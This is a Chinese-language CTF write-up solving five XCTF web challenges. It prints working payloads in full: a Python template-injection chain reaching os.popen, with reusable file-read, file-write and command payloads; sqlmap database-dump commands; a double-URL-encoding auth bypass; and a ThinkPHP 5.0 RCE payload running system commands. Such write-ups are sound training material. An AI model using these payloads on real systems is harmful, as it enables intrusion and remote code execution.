攻防世界web進階(一)
1.PHP_python_template_injection
1.題目提示python模板注入,測試http://220.249.52.133:47149/{{7+7}},發現回顯“URL http://220.249.52.133:47149/14 not found”,說明括號裡的程式碼被執行了,存在SSTI。
2.訪問http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()}}
檢視所有模組。
3.os模組都是從warnings.catch_warnings模組入手的,在所有模組中查詢catch_warnings的位置,為第59個。
4.訪問http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
5.訪問
http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)}}
,執行ls命令,發現fl4g檔案。6.訪問
http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22cat fl4g%22).read()'%20)}}
pytho模板注入常用的payload
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() #讀檔案
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') #寫檔案
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) #執行命令
2.ics-06
1.訪問頁面,發現除了雲平臺報表中心其他頁面都一樣,發現報表中的id只能為數字,如果為字母訪問跳轉到id=1。
2.使用burp對id進行暴力破解,發現id為2333時,響應包長度不同,獲得flag。
3.newcenter
看到輸入框,可能存在sql注入,用sqlmap跑。
1.獲取注入點
sqlmap -u http://192.168.100.161:53459 --data "search=df"
2.獲取資料庫資訊
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs
3.獲取庫內表資訊
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
4.獲取表內欄位資訊
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
5.獲取欄位內容,得到flag
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump
4.PHP2
1.檢視原始碼什麼都沒有,掃目錄發現index.php,什麼都沒有。
2.訪問index.phps,發現原始碼。
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
3.原始碼審計
傳入一個id並且id進行url解碼以後要等與admin,在瀏覽器中輸入admin時,瀏覽器會進行第一次解碼,所以payload要對admin進行兩次urlencode,構造payload http://220.249.52.133:46012/index.php?id=
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65,得到flag。
5.php_rce
1.訪問題目連結,發現網站使用框架為ThinkPHP 5.0,結合題目,猜測網站存在ThinkPHP RCE漏洞,使用index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls作為測試payload,檢視網站目錄。
2.訪問http://220.249.52.133:39790/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*",獲得flag的位置:/flag。
3.訪問http://220.249.52.133:39790/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag得到flag。
參考連結
https://adworld.xctf.org.cn/task/writeup?type=web&id=5408&number=3&grade=1&page=1
https://blog.csdn.net/iamsongyu/article/details/85861811
https://adworld.xctf.org.cn/task/writeup?type=web&id=4920&number=3&grade=1&page=1
https://adworld.xctf.org.cn/task/writeup?type=web&id=4686&number=3&grade=1&page=1
https://adworld.xctf.org.cn/task/writeup?type=web&id=5412&number=3&grade=1&page=1
2020-8-11 第四周